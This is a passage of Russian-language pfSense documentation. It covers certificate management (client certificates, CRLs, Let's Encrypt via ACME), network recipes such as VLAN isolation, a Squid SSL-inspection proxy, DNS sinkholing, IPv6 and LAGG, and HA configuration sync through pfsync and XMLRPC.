3. Нажать **Save**
4. Веб-интерфейс перезагрузится с новым сертификатом

### Срок действия серверных сертификатов

Apple и другие производители браузеров ограничивают максимальный срок действия публичных TLS-сертификатов до 398 дней. Хотя для внутренних сертификатов это ограничение не является обязательным, рекомендуется придерживаться аналогичных сроков для упрощения ротации и снижения рисков компрометации.

## Создание клиентских сертификатов

Клиентские сертификаты используются для аутентификации пользователей при подключении к VPN (OpenVPN, IPsec) и для доступа к ресурсам через Captive Portal.

### Процедура создания клиентского сертификата

1. Перейти в **System > Certificates**, вкладка **Certificates**
2. Нажать **Add/Sign**
3. Заполнить параметры:

| Параметр | Значение | Описание |
|---|---|---|
| Method | Create an internal Certificate | Создание нового сертификата |
| Descriptive name | user-ivanov | Имя пользователя или устройства |
| Certificate authority | VPN-CA | CA для VPN-сертификатов |
| Key type | RSA | Тип ключа |
| Key length | 2048 | Длина ключа |
| Digest Algorithm | SHA256 | Алгоритм хэширования |
| Lifetime | 365 | Срок действия (1 год) |
| Common Name | user-ivanov | Идентификатор пользователя |
| Certificate Type | User Certificate | Тип сертификата |

4. Нажать **Save**

При использовании OpenVPN клиентский сертификат может быть привязан к учётной записи пользователя в User Manager. Это обеспечивает двухфакторную аутентификацию - сертификат (что-то, что есть у пользователя) и пароль (что-то, что знает пользователь).

### Создание сертификата через User Manager

Альтернативный способ создания клиентского сертификата - через учётную запись пользователя:

1. Перейти в **System > User Manager**
2. Редактировать учётную запись пользователя
3. В секции **User Certificates** нажать **Add**
4. Заполнить параметры сертификата
5. Сохранить

Этот метод автоматически привязывает сертификат к пользователю, что упрощает управление при большом количестве VPN-пользователей.

## Импорт внешних сертификатов

pfSense позволяет импортировать сертификаты, полученные от внешних центров сертификации (DigiCert, Sectigo, Let's Encrypt и др.). Импорт необходим в следующих случаях:

- Использование публично доверенных сертификатов для веб-интерфейса
- Интеграция с корпоративной PKI
- Миграция с другого межсетевого экрана

### Процедура импорта CA

1. Перейти в **System > Certificates**, вкладка **Authorities**
2. Нажать **Add**
3. Выбрать метод **Import an existing Certificate Authority**
4. Вставить содержимое CA-сертификата в формате PEM в поле **Certificate data**
5. При необходимости импортировать закрытый ключ CA (требуется для подписи новых сертификатов)
6. Нажать **Save**

### Процедура импорта сертификата

1. Перейти в **System > Certificates**, вкладка **Certificates**
2. Нажать **Add/Sign**
3. Выбрать метод **Import an existing Certificate**
4. Вставить сертификат в формате PEM в поле **Certificate data**
5. Вставить закрытый ключ в поле **Private key data**
6. Нажать **Save**

> **Внимание**:
>
> Закрытый ключ не должен быть защищён паролем (passphrase). Если ключ зашифрован, необходимо предварительно снять защиту командой `openssl rsa -in encrypted.key -out decrypted.key`.

## Списки отзыва сертификатов (CRL)

Certificate Revocation List (CRL) - механизм отзыва скомпрометированных или недействительных сертификатов. При подключении клиента сервис проверяет сертификат по CRL и отклоняет соединение, если сертификат отозван.

### Создание CRL

1. Перейти в **System > Certificates**, вкладка **Certificate Revocation**
2. Нажать **Add** напротив нужного CA
3. Выбрать метод **Create an internal Certificate Revocation List**
4. Указать имя CRL
5. Нажать **Save**

### Отзыв сертификата

1. Открыть CRL для редактирования
2. В секции **Choose a Certificate to Revoke** выбрать сертификат
3. Указать причину отзыва (Key Compromise, CA Compromise, Cessation of Operation и др.)
4. Нажать **Add**

После отзыва сертификата все текущие подключения, использующие этот сертификат, будут разорваны при следующей проверке CRL. Для OpenVPN это происходит при переустановке TLS-сессии.

### Привязка CRL к сервисам

CRL необходимо явно привязать к сервису для активации проверки:

- **OpenVPN**: в настройках сервера, поле **Peer Certificate Revocation List**
- **IPsec**: проверка CRL настраивается в параметрах Phase 1

Без привязки CRL к сервису отозванные сертификаты будут продолжать приниматься.

## Пакет ACME для Let's Encrypt

ACME (Automated Certificate Management Environment) - протокол автоматического получения и обновления сертификатов от публичных CA. Пакет ACME для pfSense позволяет автоматизировать получение бесплатных TLS-сертификатов от Let's Encrypt.

### Установка пакета ACME

1. Перейти в **System > Package Manager**, вкладка **Available Packages**
2. Найти пакет **acme**
3. Нажать **Install** и подтвердить установку

После установки пакет доступен в меню **Services > Acme Certificates**.

### Регистрация аккаунта Let's Encrypt

1. Перейти в **Services > Acme Certificates**, вкладка **Account Keys**
2. Нажать **Add**
3. Заполнить параметры:

| Параметр | Значение |
|---|---|
| Name | LetsEncrypt-Prod |
| ACME Server | Let's Encrypt Production ACME v2 |
| Email Address | admin@example.com |

4. Нажать **Create new account key**
5. Нажать **Register ACME account key**
6. Нажать **Save**

Для тестирования рекомендуется сначала использовать **Let's Encrypt Staging** для избежания ограничений на количество запросов.

### Создание сертификата через ACME

1. Перейти на вкладку **Certificates**
2. Нажать **Add**
3. Заполнить параметры:

| Параметр | Значение | Описание |
|---|---|---|
| Name | firewall-acme | Имя сертификата |
| Status | Active | Статус |
| Acme Account | LetsEncrypt-Prod | Ранее созданный аккаунт |
| Private Key | 2048-bit RSA | Тип и длина ключа |
| Domain SAN list | firewall.example.com | Список доменных имён |

4. В секции **Domain SAN list** выбрать метод валидации:

| Метод валидации | Когда использовать |
|---|---|
| Standalone HTTP server | Порт 80 доступен из интернета, нет веб-сервера |
| Standalone TLS-ALPN | Порт 443 доступен, нет других TLS-сервисов |
| DNS-Manual | Ручное добавление DNS-записи (не подходит для автоматизации) |
| DNS-Cloudflare/Route53/etc. | Автоматическая DNS-валидация через API провайдера |

5. Нажать **Save**
6. Нажать **Issue/Renew** для получения сертификата

### Автоматическое обновление

Пакет ACME автоматически создаёт задание cron для обновления сертификатов. По умолчанию проверка выполняется ежедневно, и сертификат обновляется при приближении срока истечения (менее 30 дней).

Для применения обновлённого сертификата к веб-интерфейсу необходимо включить опцию **ACME Renewal** в настройках сертификата и выбрать действие **Restart webConfigurator** в поле **Actions list**.

### Wildcard-сертификаты

Let's Encrypt поддерживает выдачу wildcard-сертификатов (*.example.com), но только через DNS-валидацию. Метод HTTP-валидации для wildcard-сертификатов недоступен. Необходимо настроить интеграцию с DNS-провайдером через API.

## Где используются сертификаты

Сертификаты, управляемые через Certificate Manager, используются в следующих компонентах pfSense.

| Компонент | Тип сертификата | Назначение |
|---|---|---|
| Web GUI | Серверный | HTTPS-доступ к веб-интерфейсу |
| OpenVPN Server | Серверный | Идентификация сервера перед клиентами |
| OpenVPN Client | Клиентский | Аутентификация пользователя на сервере |
| IPsec | Серверный/Клиентский | Аутентификация участников VPN-туннеля |
| Captive Portal | Серверный | HTTPS-портал авторизации |
| HAProxy | Серверный | TLS-терминация на балансировщике |
| LDAP Auth | CA | Верификация LDAP-сервера при подключении |
| Syslog (TLS) | Серверный/CA | Шифрование передачи логов |

## Обновление и ротация сертификатов

### Ручное обновление

При приближении срока истечения сертификата необходимо создать новый сертификат с теми же параметрами и заменить старый во всех сервисах, которые его используют. pfSense отображает дату истечения в списке сертификатов и предупреждает об истекающих сертификатах в Dashboard.

### Рекомендации по ротации

| Тип сертификата | Рекомендуемый срок | Обоснование |
|---|---|---|
| CA | 10-20 лет | Замена CA требует переиздания всех сертификатов |
| Серверный | 1-2 года | Соответствие требованиям браузеров |
| Клиентский | 1 год | Регулярная ротация для снижения рисков |
| ACME (Let's Encrypt) | 90 дней (автоматически) | Установлено Let's Encrypt |

### Мониторинг истечения

pfSense отображает статус сертификатов в веб-интерфейсе:

- Зелёный - сертификат действителен
- Жёлтый - срок действия истекает в ближайшие 30 дней
- Красный - сертификат истёк

Рекомендуется настроить мониторинг через SNMP или [интеграцию с Wazuh](/docs/pfsense/pfsense-wazuh-integration/) для автоматического оповещения об истекающих сертификатах.

## Устранение неполадок

### Ошибка "Certificate chain is incomplete"

Проблема возникает, когда клиент не может построить цепочку доверия от серверного сертификата до корневого CA.

Решение:

1. Убедиться, что CA-сертификат установлен на клиентском устройстве
2. При использовании промежуточного CA - убедиться, что вся цепочка (промежуточный + корневой CA) передаётся клиенту
3. Проверить, что в настройках сервиса указан корректный CA

### Ошибка "Certificate has expired"

Сертификат с истекшим сроком действия отклоняется клиентами и сервисами.

Решение:

1. Создать новый сертификат с актуальными сроками
2. Заменить сертификат во всех сервисах, которые его используют
3. Перезапустить сервисы для применения нового сертификата

### Ошибка "NET::ERR_CERT_AUTHORITY_INVALID"

Браузер не доверяет CA, выдавшему сертификат.

Решение для внутреннего CA:

1. Экспортировать CA-сертификат из pfSense
2. Установить его в хранилище доверенных корневых сертификатов операционной системы или браузера
3. Перезапустить браузер

### OpenVPN не принимает сертификат

Проблема может быть вызвана несколькими причинами:

- Тип сертификата (Server/User) не соответствует роли в VPN
- Сертификат подписан CA, отличным от указанного в настройках OpenVPN
- Сертификат отозван через CRL

Для диагностики следует проверить логи OpenVPN в **Status > System Logs**, вкладка **OpenVPN**.

## Примечания по миграции

При миграции с другого межсетевого экрана или при обновлении pfSense следует учитывать:

- Экспортировать все CA, сертификаты и CRL до миграции
- Сертификаты экспортируются в формате PEM через значок загрузки в Certificate Manager
- Закрытые ключи экспортируются отдельно и должны храниться в защищённом месте
- После импорта необходимо заново привязать сертификаты к сервисам (OpenVPN, IPsec, Web GUI)
- Резервная копия конфигурации pfSense включает все сертификаты и ключи - при [восстановлении из бэкапа](/docs/pfsense/backup/pfsense-backup-recovery/) повторный импорт не требуется

## Связанные разделы

- [VPN - OpenVPN](/docs/pfsense/vpn/openvpn/) - настройка OpenVPN с использованием сертификатов
- [Управление пользователями](/docs/pfsense/users/pfsense-user-management/) - привязка сертификатов к учётным записям пользователей
- [Бэкап и восстановление](/docs/pfsense/backup/pfsense-backup-recovery/) - резервное копирование конфигурации, включая сертификаты


---

# Сетевые рецепты pfSense - VLAN, прокси, IPv6

Source: https://opennix.org/docs/pfsense/recipes/pfsense-network-recipes/


В этом разделе собраны сетевые рецепты конфигурации pfSense: изоляция сегментов через VLAN, развертывание прокси-серверов, настройка DNS-фильтрации, зеркалирование трафика для систем обнаружения вторжений, конфигурация IPv6 и агрегация каналов.

Перед выполнением рецептов создайте резервную копию: **Diagnostics - Backup & Restore**. Базовые сведения о сетевых интерфейсах описаны в разделе [интерфейсы pfSense](/docs/pfsense/interfaces/).

## Мультитенантная изоляция сети через VLAN

VLAN позволяют разделить физическую сеть на изолированные логические сегменты. Это применяется в офисах с несколькими отделами, коворкингах и средах с арендаторами, которым необходим изолированный доступ к сети.

### Пошаговая настройка

1. Убедитесь, что управляемый коммутатор поддерживает 802.1Q и настроен trunk-порт к pfSense

2. Перейдите в **Interfaces - VLANs** и создайте VLAN для каждого тенанта:
   - **Parent Interface** - физический интерфейс, подключенный к коммутатору (например, igb1)
   - **VLAN Tag** - уникальный идентификатор (например, 100 для Tenant A, 200 для Tenant B)
   - **Description** - Tenant_A, Tenant_B

3. Перейдите в **Interfaces - Assign** и назначьте каждый VLAN как отдельный интерфейс

4. Настройте каждый интерфейс:
   - **IPv4 Configuration Type** - Static IPv4
   - **IPv4 Address** - уникальная подсеть (10.100.0.1/24 для Tenant A, 10.200.0.1/24 для Tenant B)

5. Настройте DHCP для каждого VLAN: **Services - DHCP Server** - выберите интерфейс тенанта

6. Создайте правила изоляции на каждом интерфейсе тенанта:

```
# Блокировка трафика между тенантами
Action: Block
Interface: Tenant_A
Source: Tenant_A net
Destination: Tenant_B net

# Разрешение доступа в интернет
Action: Pass
Interface: Tenant_A
Source: Tenant_A net
Destination: any
```

7. Повторите правила для каждого тенанта, блокируя доступ ко всем остальным сегментам

8. На управляемом коммутаторе настройте access-порты для каждого VLAN

Подробности настройки VLAN описаны в разделе [VLAN pfSense](/docs/pfsense/vlans/).

## Прозрачный прокси Squid с SSL-инспекцией

Squid в прозрачном режиме перехватывает HTTP/HTTPS-трафик без настройки прокси на клиентах. SSL-инспекция позволяет фильтровать зашифрованный трафик, но требует распространения корневого сертификата на клиентские устройства.

### Пошаговая настройка

1. Установите пакет Squid: **System - Package Manager - Available Packages - squid**

2. Создайте внутренний CA для SSL-инспекции:
   - Перейдите в **System - Cert Manager - CAs**
   - Нажмите **Add** и создайте новый CA:
     - **Method** - Create an internal Certificate Authority
     - **Common Name** - Squid Proxy CA
     - **Key type** - RSA, 2048 bit

3. Перейдите в **Services - Squid Proxy Server - General**:
   - **Enable Squid Proxy** - включить
   - **Proxy Interface** - LAN
   - **Proxy Port** - 3128
   - **Transparent HTTP Proxy** - включить
   - **HTTPS/SSL Interception** - включить
   - **SSL/MITM Mode** - Splice All (для минимального вмешательства) или Bump All (для полной инспекции)
   - **CA** - выберите созданный Squid Proxy CA
   - **SSL Proxy Port** - 3129

4. Перейдите в **Services - Squid Proxy Server - ACLs** и настройте списки доступа:
   - **Allowed Subnets** - 192.168.1.0/24
   - **Blacklist** - при необходимости добавьте запрещенные домены

5. Экспортируйте CA-сертификат и распространите на клиентские устройства:
   - **System - Cert Manager - CAs** - экспортируйте сертификат CA
   - Установите в доверенные корневые сертификаты на каждом клиенте (через GPO для Windows-домена)

6. Перейдите в **Services - Squid Proxy Server - Real Time** для мониторинга трафика

> **Предупреждение**: SSL-инспекция является формой MITM-атаки. Необходимо уведомить пользователей и получить согласие (в корпоративной среде - через политику использования). Некоторые приложения с certificate pinning перестанут работать через прокси.

## DNS Sinkhole с pfBlockerNG DNSBL

pfBlockerNG в режиме DNSBL перехватывает DNS-запросы к вредоносным и рекламным доменам, возвращая пустой ответ вместо реального IP. Аналог Pi-hole, встроенный в pfSense.

### Пошаговая настройка

1. Установите пакет: **System - Package Manager - Available Packages - pfBlockerNG-devel**

2. Перейдите в **Firewall - pfBlockerNG - General**:
   - **Enable pfBlockerNG** - включить
   - **Keep Settings** - включить

3. Перейдите в **Firewall - pfBlockerNG - DNSBL**:
   - **Enable DNSBL** - включить
   - **DNSBL Mode** - Unbound python mode (рекомендуется)
   - **DNSBL Virtual IP** - 10.10.10.1 (виртуальный IP для блокировки)
   - **DNSBL Listening Port** - 8081
   - **DNSBL SSL Listening Port** - 8443

4. Перейдите во вкладку **DNSBL Feeds** и добавьте списки блокировки:

| Название | URL | Категория |
|---|---|---|
| EasyList | https://easylist.to/easylist/easylist.txt | Реклама |
| Steven Black Hosts | https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts | Реклама + Вредоносные |
| Malware Domain List | https://www.malwaredomainlist.com/hostslist/hosts.txt | Вредоносные |

5. Для каждого фида настройте:
   - **Action** - Unbound
   - **Update Frequency** - Every 1 hour или Once a day

6. Перейдите в **Firewall - pfBlockerNG - Update** и нажмите **Run** для первоначальной загрузки списков

7. Убедитесь, что [перенаправление DNS](/docs/pfsense/recipes/pfsense-common-recipes/) настроено для предотвращения обхода DNSBL клиентами

8. Мониторинг блокировок: **Firewall - pfBlockerNG - Reports - DNSBL**

## Зеркалирование трафика для IDS

Зеркалирование (port mirroring/SPAN) копирует трафик с одного интерфейса на другой для анализа системами обнаружения вторжений (Suricata, Snort) без влияния на производительность основного трафика.

### Пошаговая настройка

1. Подключите выделенный сетевой интерфейс к pfSense для зеркалирования (например, igb2)

2. Назначьте интерфейс: **Interfaces - Assign** - добавьте igb2 как SPAN

3. Включите интерфейс без IP-адреса:
   - **IPv4 Configuration Type** - None
   - **IPv6 Configuration Type** - None

4. Настройте зеркалирование через оболочку pfSense (SSH или консоль):

```bash
ifconfig igb2 promisc up
```

5. Для постоянной конфигурации добавьте в **System - Advanced - System Tunables** или через shellcmd:

```
/sbin/ifconfig igb2 promisc up
```

6. Настройте мост для зеркалирования:
   - Перейдите в **Interfaces - Bridges**
   - Создайте мост с параметром **SPAN Port** - выберите интерфейс-источник (LAN или WAN)
   - **SPAN Port** будет копировать весь трафик на выбранный интерфейс

7. Альтернативно используйте управляемый коммутатор:
   - Настройте SPAN/mirror session на коммутаторе
   - Направьте зеркальный трафик на порт pfSense с подключенным IDS (например, Suricata)

8. Установите Suricata или Snort на pfSense и привяжите к интерфейсу SPAN для анализа

Дополнительные сведения о безопасности описаны в разделе [рецепты безопасности](/docs/pfsense/recipes/pfsense-security-recipes/).

## PPPoE-сервер для провайдеров и WISP

pfSense может выступать PPPoE-сервером для предоставления интернет-доступа абонентам. Используется интернет-провайдерами и беспроводными провайдерами (WISP).

### Пошаговая настройка

1. Перейдите в **Services - PPPoE Server**

2. Нажмите **Add** и настройте:
   - **Interface** - интерфейс, обращенный к абонентам (например, LAN или выделенный OPT)
   - **Total User Count** - максимальное количество абонентов
   - **User Subnet** - подсеть для абонентских IP (например, 10.10.0.0/16)
   - **Server Address** - IP pfSense в абонентской подсети (10.10.0.1)
   - **Remote Address Range** - начальный IP для абонентов (10.10.0.2)
   - **DNS Servers** - IP DNS-серверов для абонентов
   - **RADIUS** - для учета и аутентификации настройте RADIUS-сервер (FreeRADIUS)

3. Создайте локальных пользователей PPPoE (или используйте RADIUS):
   - **System - User Manager** - добавьте пользователей
   - Или установите пакет FreeRADIUS для централизованного управления

4. Настройте правила файрвола на PPPoE-интерфейсе:

```
Action: Pass
Interface: PPPoE
Source: PPPoE_net
Destination: any
```

5. Настройте [NAT](/docs/pfsense/nat/) для трансляции абонентских адресов в WAN

6. Для ограничения скорости используйте **Firewall - Traffic Shaper** или limiters

## Маршрутизация публичных IP-подсетей

Сценарий: провайдер выделил блок публичных IP, которые необходимо направить на внутренние серверы без NAT (прямая маршрутизация).

### Пошаговая настройка

1. Согласуйте с провайдером маршрутизацию блока IP через WAN-адрес pfSense

2. Перейдите в **Firewall - Virtual IPs** и добавьте адреса блока:
   - **Type** - IP Alias или Other
   - **Interface** - WAN
   - Добавьте каждый IP из блока

3. Если серверы находятся в отдельной подсети (например, DMZ):
   - Назначьте публичные IP непосредственно серверам
   - На интерфейсе DMZ pfSense настройте gateway для публичной подсети

4. Настройте статические маршруты при необходимости: **System - Routing - Static Routes**

5. Создайте правила файрвола для разрешения входящего трафика к публичным IP серверов

6. Если серверы используют приватные IP, настройте NAT 1:1: **Firewall - NAT - 1:1**

Описание работы с NAT приведено в разделе [NAT pfSense](/docs/pfsense/nat/).

## IPv6 Tunnel Broker (Hurricane Electric)

Hurricane Electric предоставляет бесплатные IPv6-туннели для получения IPv6-связности через IPv4-инфраструктуру. pfSense поддерживает настройку GIF-туннелей для подключения к HE.

### Пошаговая настройка

1. Зарегистрируйтесь на tunnelbroker.net и создайте туннель:
   - Укажите публичный IPv4-адрес pfSense WAN
   - Запишите:
     - Server IPv4 Address
     - Server IPv6 Address
     - Client IPv6 Address
     - Routed /48 или /64 prefix

2. На pfSense перейдите в **Interfaces - GIFs** и создайте GIF-туннель:
   - **Parent Interface** - WAN
   - **GIF Remote Address** - Server IPv4 Address от HE
   - **GIF tunnel local address** - Client IPv6 Address
   - **GIF tunnel remote address** - Server IPv6 Address
   - **Route caching** - отключить

3. Перейдите в **Interfaces - Assign** и назначьте GIF-туннель как новый интерфейс (HE_IPv6)

4. Настройте интерфейс:
   - **IPv6 Configuration Type** - Static IPv6
   - **IPv6 Address** - Client IPv6 Address /128 (уже настроено через GIF)

5. Перейдите в **System - Routing - Gateways** и добавьте шлюз IPv6:
   - **Interface** - HE_IPv6
   - **Gateway** - Server IPv6 Address

6. Настройте LAN для раздачи IPv6:
   - Перейдите в **Interfaces - LAN**
   - **IPv6 Configuration Type** - Static IPv6
   - **IPv6 Address** - первый адрес из Routed /64 prefix

7. Включите раздачу IPv6 через Router Advertisements:
   - **Services - Router Advertisements - LAN**
   - **Router Mode** - Assisted или Unmanaged
   - **Router Priority** - Normal

8. Перейдите в **System - Routing** и установите шлюз IPv6 по умолчанию

## Dual-Stack IPv4+IPv6

Dual-stack обеспечивает одновременную работу IPv4 и IPv6 на всех интерфейсах. Клиенты получают адреса обоих стеков и используют предпочтительный протокол для каждого соединения.

### Пошаговая настройка

1. Убедитесь, что провайдер предоставляет IPv6-подключение (native или через DHCPv6-PD)

2. Настройте WAN для получения IPv6:
   - Перейдите в **Interfaces - WAN**
   - **IPv6 Configuration Type** - DHCPv6
   - **DHCPv6 Prefix Delegation Size** - выберите размер делегированного префикса (обычно /56 или /48)
   - **Send IPv6 prefix hint** - включить
   - **Do not wait for a RA** - включить (при необходимости)

3. Настройте LAN для раздачи IPv6:
   - Перейдите в **Interfaces - LAN**
   - **IPv6 Configuration Type** - Track Interface
   - **IPv6 Interface** - WAN
   - **IPv6 Prefix ID** - 0

4. Настройте Router Advertisements: **Services - Router Advertisements - LAN**
   - **Router Mode** - Assisted (SLAAC + DHCPv6)

5. Настройте DHCPv6 при необходимости: **Services - DHCPv6 Server & RA - LAN**

6. Убедитесь, что правила файрвола учитывают IPv6-трафик:
   - Создайте правила на LAN для IPv6 аналогично IPv4
   - По умолчанию pfSense блокирует входящий IPv6-трафик на WAN

7. Протестируйте dual-stack: откройте test-ipv6.com с клиентского устройства

Дополнительные сведения о настройке IPv6 описаны в разделе [IPv6 pfSense](/docs/pfsense/ipv6/).

## LAGG-бондинг для высокодоступных каналов

LAGG (Link Aggregation) объединяет несколько физических интерфейсов в один логический канал для увеличения пропускной способности и обеспечения отказоустойчивости.

### Пошаговая настройка

1. Убедитесь, что коммутатор поддерживает LACP (802.3ad) и настроены соответствующие порты

2. Перейдите в **Interfaces - LAGGs** и нажмите **Add**:
   - **Parent Interfaces** - выберите два или более интерфейса (например, igb0, igb1)
   - **LAGG Protocol**:
     - **LACP** - IEEE 802.3ad, требует поддержки на коммутаторе (рекомендуется)
     - **Failover** - активный/пассивный, не требует поддержки на коммутаторе
     - **Loadbalance** - балансировка нагрузки
     - **Roundrobin** - циклический
   - **Description** - LAGG_WAN или LAGG_LAN

3. Перейдите в **Interfaces - Assign** и назначьте LAGG как интерфейс (вместо отдельных физических)

4. Настройте IP-адрес на LAGG-интерфейсе

5. Удалите назначения с исходных физических интерфейсов (они теперь члены LAGG)

6. На коммутаторе настройте LACP port-channel на соответствующих портах

7. Проверьте состояние LAGG: **Status - Interfaces** или через консоль:

```bash
ifconfig lagg0
```

8. Протестируйте отказоустойчивость: отключите один кабель и убедитесь, что связность сохраняется

> **Важно**: при использовании LACP оба конца (pfSense и коммутатор) должны быть настроены на LACP. Несогласованный протокол приведет к потере связности. В режиме Failover коммутатор не требует специальной настройки.


---

# Синхронизация конфигурации pfSense - pfsync и XMLRPC

Source: https://opennix.org/docs/pfsense/high-availability/pfsense-config-sync/


Синхронизация конфигурации и состояний - фундаментальный механизм, обеспечивающий корректную работу HA-кластера pfSense. Без синхронизации резервный узел не будет располагать актуальными правилами файрвола и таблицей соединений, что приведёт к разрыву существующих сессий при переключении. В pfSense за синхронизацию отвечают два независимых механизма: pfsync для таблицы состояний и XMLRPC для конфигурации. Каждый из них решает свою задачу и настраивается отдельно.

## Синхронизация таблицы состояний (pfsync)

pfsync - протокол уровня ядра FreeBSD, обеспечивающий репликацию таблицы состояний межсетевого экрана pf между узлами кластера. Таблица состояний (state table) содержит информацию обо всех активных соединениях, проходящих через файрвол: TCP-сессии, UDP-потоки, ICMP-обмены и трансляции NAT.

При каждом создании, изменении или удалении записи в таблице состояний на одном узле pfsync передаёт обновление на партнёрский узел. Благодаря этому при переключении на backup-узел существующие сессии сохраняются - клиенты сети не наблюдают разрывов соединений.

### Что синхронизирует pfsync

| Тип состояния | Синхронизируется | Примечание |
|---|---|---|
| TCP-сессии | Да | Включая порядковые номера и состояние TCP-машины |
| UDP-потоки | Да | Псевдосостояния для отслеживания UDP-обменов |
| ICMP | Да | Состояния echo request/reply |
| NAT-трансляции | Да | Маппинги адресов и портов |
| Записи якорей (anchors) | Да | Состояния из вложенных наборов правил |

### Что НЕ синхронизирует pfsync

pfsync передаёт исключительно таблицу состояний. Следующие данные не входят в область действия pfsync:

- Правила файрвола и NAT (передаются через XMLRPC)
- Конфигурация интерфейсов
- Маршруты и таблицы ARP
- Очереди трафик-шейпера
- Содержимое таблиц pf (aliases, bogons, snort blocklist)

### Механизм работы

pfsync работает на канальном уровне (Layer 2), используя протокол IP номер 240 (PFSYNC). По умолчанию обновления отправляются multicast-адресу 224.0.0.240 на указанном sync-интерфейсе. При наличии выделенного sync-линка между двумя узлами multicast-трафик остаётся в пределах этого сегмента.

Обновления отправляются пакетами (batch mode) для снижения накладных расходов. pfSense группирует несколько изменений состояний в один pfsync-пакет и отправляет их с интервалом, определяемым параметром **Defer updates**. При включённом отложенном обновлении (по умолчанию) система ожидает незначительное время перед отправкой, чтобы объединить несколько изменений в один пакет. Это снижает нагрузку на sync-интерфейс ценой минимальной задержки в синхронизации.

### Настройка pfsync

Конфигурация pfsync выполняется на primary-узле через **System > High Avail. Sync** в секции **State Synchronization Settings (pfsync)**.

| Параметр | Описание | Рекомендация |
|---|---|---|
| **Synchronize States** | Включение синхронизации состояний | Установить флаг |
| **Synchronize Interface** | Интерфейс для pfsync-трафика | Выбрать Sync (выделенный интерфейс) |
| **pfsync Synchronize Peer IP** | IP-адрес партнёрского узла на sync-интерфейсе | Указать адрес secondary-узла (например, 172.16.1.3) |

Если поле **pfsync Synchronize Peer IP** оставлено пустым, pfsync будет отправлять обновления multicast-адресу. Указание конкретного IP-адреса переключает pfsync в режим unicast, что рекомендуется для production-кластеров.

> **Внимание**:
>
> На secondary-узле необходимо выполнить аналогичную настройку, указав в поле pfsync Synchronize Peer IP адрес primary-узла (например, 172.16.1.2). В отличие от XMLRPC, pfsync настраивается на обоих узлах кластера.

### Оценка полосы пропускания

Объём pfsync-трафика зависит от интенсивности создания и изменения соединений. Каждое обновление состояния занимает порядка 300-400 байт. Для оценки необходимой полосы пропускания sync-интерфейса следует учитывать:

| Метрика | Формула |
|---|---|
| Новые соединения в секунду | N connections/sec x 400 bytes = N x 400 bytes/sec |
| Обновления существующих | U updates/sec x 300 bytes = U x 300 bytes/sec |
| Пиковая нагрузка | (N + U) x 400 bytes/sec с запасом 2x |

Для типовой инсталляции с 10 000 активных соединений и 500 новых соединений в секунду pfsync генерирует порядка 200-300 Кбит/с трафика на sync-интерфейсе. При высоконагруженных системах с десятками тысяч новых соединений в секунду эта величина может достигать единиц мегабит в секунду.

Для sync-интерфейса рекомендуется использовать соединение не менее 1 Гбит/с. В средах с крайне высокой нагрузкой (более 50 000 соединений в секунду) следует рассмотреть 10 Гбит/с интерфейс или разделение pfsync и XMLRPC по отдельным интерфейсам.

## Синхронизация конфигурации (XMLRPC)

XMLRPC (XML Remote Procedure Call) - механизм репликации конфигурации pfSense с primary-узла на secondary. В отличие от pfsync, XMLRPC работает на прикладном уровне и передаёт не состояния соединений, а структурированные данные конфигурации - правила файрвола, NAT, VPN-туннели, алиасы и другие параметры.

### Направление синхронизации

XMLRPC работает строго однонаправленно: с primary-узла на secondary. Все изменения конфигурации необходимо вносить исключительно на primary-узле. При корректной настройке каждое сохранение изменений на primary автоматически инициирует передачу обновлённой секции конфигурации на secondary.

> **Внимание**:
>
> Изменения, внесённые напрямую на secondary-узле, будут перезаписаны при следующей синхронизации с primary. Единственное исключение - параметры, которые явно исключены из синхронизации (hostname, IP-адреса интерфейсов, настройки CARP skew).

### Настройка XMLRPC

Конфигурация XMLRPC выполняется только на primary-узле через **System > High Avail. Sync** в секции **Configuration Synchronization Settings (XMLRPC Sync)**.

| Параметр | Описание | Значение |
|---|---|---|
| **Synchronize Config to IP** | IP-адрес secondary-узла на sync-интерфейсе | 172.16.1.3 |
| **Remote System Username** | Учётная запись на secondary-узле | admin |
| **Remote System Password** | Пароль учётной записи | (пароль admin на secondary) |

XMLRPC использует HTTPS (TCP 443) для передачи данных. На sync-интерфейсе secondary-узла должен быть разрешён входящий трафик на порт 443 от IP-адреса primary-узла.

### Области синхронизации

Ниже параметров подключения расположены флаги (checkboxes), определяющие какие разделы конфигурации будут реплицироваться. По умолчанию все области включены. Рекомендуется оставить все флаги активными, за исключением случаев, когда конкретная секция требует индивидуальной настройки на каждом узле.

| Область | Описание | Рекомендация |
|---|---|---|
| **Toggle All** | Включить/отключить все области | Использовать для быстрого выбора |
| **User Manager, Auth Servers** | Пользователи, группы, серверы аутентификации | Синхронизировать |
| **Certificates, CAs** | Сертификаты и удостоверяющие центры | Синхронизировать |
| **Firewall Rules** | Правила файрвола | Синхронизировать |
| **Firewall Schedules** | Расписания для правил файрвола | Синхронизировать |
| **Firewall Aliases** | Алиасы (списки адресов, портов, URL) | Синхронизировать |
| **NAT** | Правила NAT (Port Forward, 1:1, Outbound) | Синхронизировать |
| **IPsec** | Конфигурация IPsec-туннелей | Синхронизировать |
| **OpenVPN** | Конфигурация OpenVPN серверов и клиентов | Синхронизировать |
| **DHCP Server** | Настройки DHCP-сервера | Осторожно (см. ниже) |
| **Wake on LAN** | Параметры WOL | Синхронизировать |
| **Static Routes** | Статические маршруты | Синхронизировать |
| **DNS Forwarder/Resolver** | DNS-настройки | Синхронизировать |
| **Traffic Shaper** | Правила трафик-шейпера | Синхронизировать |
| **Captive Portal** | Настройки Captive Portal | Синхронизировать |

### Что НЕ следует синхронизировать

Ряд параметров должен оставаться уникальным для каждого узла кластера. XMLRPC автоматически исключает из синхронизации:

- **Hostname и domain** - каждый узел должен иметь уникальное имя для идентификации в кластере и журналах
- **IP-адреса интерфейсов** - индивидуальные адреса на каждом интерфейсе уникальны для каждого узла
- **Настройки CARP skew** - skew автоматически корректируется для обеспечения правильной иерархии приоритетов
- **Параметры pfsync** - конфигурация pfsync (Peer IP) различается на каждом узле

При необходимости можно отключить синхронизацию дополнительных секций. Типичный пример - DHCP Server, если диапазоны адресов на primary и secondary различаются (например, при разделении пула адресов между узлами для предотвращения конфликтов при split-brain).

### Особенности синхронизации DHCP

При синхронизации DHCP-сервера оба узла получают идентичную конфигурацию диапазонов. В штатном режиме DHCP-сервер активен только на master-узле, поскольку клиенты обращаются к CARP VIP, назначенному в качестве default gateway. Однако при split-brain сценарии (оба узла считают себя master) два DHCP-сервера с одинаковыми диапазонами могут выдать один и тот же адрес разным клиентам.

